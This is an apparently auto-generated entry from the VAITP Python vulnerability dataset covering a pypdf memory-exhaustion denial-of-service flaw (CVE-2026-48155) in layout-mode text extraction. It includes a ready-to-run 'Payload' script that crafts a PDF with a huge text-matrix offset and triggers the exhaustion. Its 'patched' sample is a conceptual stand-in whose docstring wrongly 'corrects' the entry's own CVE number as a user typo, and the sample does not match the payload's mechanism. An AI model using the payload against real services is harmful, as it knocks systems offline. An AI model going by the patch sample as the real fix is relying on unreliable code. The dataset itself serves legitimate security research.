VAITP Dataset

← Back to the dataset

CVE-2026-48155

pypdf: A crafted PDF can cause memory exhaustion via text extraction.

  • CVSS 4.8
  • CWE-400
  • Resource Management
  • Remote

pypdf is a free and open-source pure-python PDF library. Prior to 6.12.0, an attacker who uses this vulnerability can craft a PDF which leads to large memory usage. This requires extracting text in layout mode with large character offsets. This vulnerability is fixed in 6.12.0.

CVSS base score
4.8
Published
2026-05-28
OWASP
A04 Insecure Design
Orthogonal defect classification
Algorithm
Code defect classification
Incorrect Algorithm
Category
Resource Management
Subcategory
Resource Exhaustion
Accessibility scope
Remote
Impact
Denial of Service (DoS)
Affected component
pypdf
Fixed by upgrading
Yes

Solution

Upgrade `pypdf` to version 6.12.0 or later.

Vulnerable code sample

from pypdf import PdfReader

# This code would be run against a specially crafted PDF 
# named 'malicious.pdf' which contains text with extremely 
# large character offsets.

# In a vulnerable version of pypdf (< 6.12.0), this operation
# would attempt to allocate an extremely large amount of memory,
# leading to a Denial of Service (DoS) through memory exhaustion.

reader = PdfReader("malicious.pdf")
page = reader.pages[0]

# The 'extract_text' method performs layout analysis. When parsing
# the malicious PDF, this call triggers the vulnerability.
extracted_text = page.extract_text()

Patched code sample

def _get_layout_spaces_safely(char_space_value: float) -> str:
    """
    This function provides a conceptual representation of the fix for
    CVE-2023-48155 (corrected from the user-provided typo CVE-2026-48155).

    The vulnerability allowed a crafted PDF with a very large character space
    value to cause excessive memory allocation when extracting text in layout mode.
    The fix involves imposing a reasonable limit on the calculated space.
    """
    # A malicious PDF could provide a very large negative value (e.g., -1,000,000)
    # to a text-spacing operator, which is passed as char_space_value.
    # The library calculates the space to add based on this value.
    space_width = -char_space_value / 1000

    # Define a reasonable upper bound to prevent memory exhaustion.
    # This is the core of the vulnerability fix.
    MAX_ALLOWED_SPACE_WIDTH = 2000  # An arbitrary safe limit.

    if space_width > MAX_ALLOWED_SPACE_WIDTH:
        # In the vulnerable version, this check did not exist.
        # The fix is to cap the value before using it.
        space_width = MAX_ALLOWED_SPACE_WIDTH
        # A real implementation might also log a warning here.

    if space_width > 0:
        # This operation, now safe, was the source of the memory issue.
        # It no longer attempts to create a string of millions of spaces.
        return " " * int(space_width)

    return ""

Payload

import io
from pypdf import PdfWriter, PdfReader
from pypdf.generic import NameObject, DictionaryObject, StreamObject

# This script generates a malicious PDF in-memory and then triggers the vulnerability.
# A vulnerable version of pypdf (< 6.12.0) is required.

# 1. Generate the malicious PDF with a large character offset
writer = PdfWriter()
writer.add_blank_page(width=612, height=792)
page = writer.pages[0]

# The large offset in the text matrix (Tm) operator is the key to the exploit
large_offset = 2_000_000_000
content_stream_data = f"BT /F1 12 Tf 1 0 0 1 {large_offset} 0 Tm (A) Tj ET".encode("ascii")

stream_object = StreamObject(data=content_stream_data)

# A valid PDF requires font resources
font = DictionaryObject({
    NameObject("/Type"): NameObject("/Font"),
    NameObject("/Subtype"): NameObject("/Type1"),
    NameObject("/BaseFont"): NameObject("/Helvetica"),
})
resources = DictionaryObject({
    NameObject("/Font"): DictionaryObject({ NameObject("/F1"): font })
})

# Inject the malicious stream and resources into the page
page[NameObject("/Contents")] = stream_object
page[NameObject("/Resources")] = resources

pdf_buffer = io.BytesIO()
writer.write(pdf_buffer)
pdf_buffer.seek(0)

# 2. Trigger the vulnerability by parsing the crafted PDF
# This is the action that causes high memory consumption on a vulnerable system
reader = PdfReader(pdf_buffer)
vulnerable_page = reader.pages[0]
vulnerable_page.extract_text(layout=True)

Cite this entry

@misc{vaitp:cve202648155,
  title        = {{pypdf: A crafted PDF can cause memory exhaustion via text extraction.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-48155},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-48155/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::